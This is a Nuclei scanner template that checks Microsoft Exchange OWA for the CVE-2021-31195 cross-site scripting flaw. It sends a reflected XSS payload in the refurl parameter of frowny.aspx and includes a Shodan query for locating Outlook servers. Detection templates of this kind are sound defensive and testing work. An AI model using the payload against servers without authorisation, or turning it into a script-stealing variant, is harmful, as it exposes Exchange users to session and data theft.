51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2021-31195
|
|
|
|
info:
|
|
name: Microsoft Exchange Server - Cross-Site Scripting
|
|
author: infosecsanyam
|
|
severity: medium
|
|
description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
|
|
remediation: |
|
|
Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
|
|
reference:
|
|
- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
|
|
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
|
|
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2021-31195
|
|
cwe-id: CWE-79
|
|
epss-score: 0.92365
|
|
epss-percentile: 0.98725
|
|
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: microsoft
|
|
product: exchange_server
|
|
shodan-query: http.title:"Outlook"
|
|
tags: microsoft,exchange,owa,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'alert(document.domain)//&et=ServerError'
|
|
- 'mail/bootr.ashx'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 500
|
|
# digest: 4a0a00473045022100a82e212367b368400223057b84ac2619aec606c86c02f74f32d98d170ed64020022005c310f29116460da4cff22d553adcae192867b68ff29ef37c95b0520a9edb93:922c64590222798bb761d5b6d8e72950 |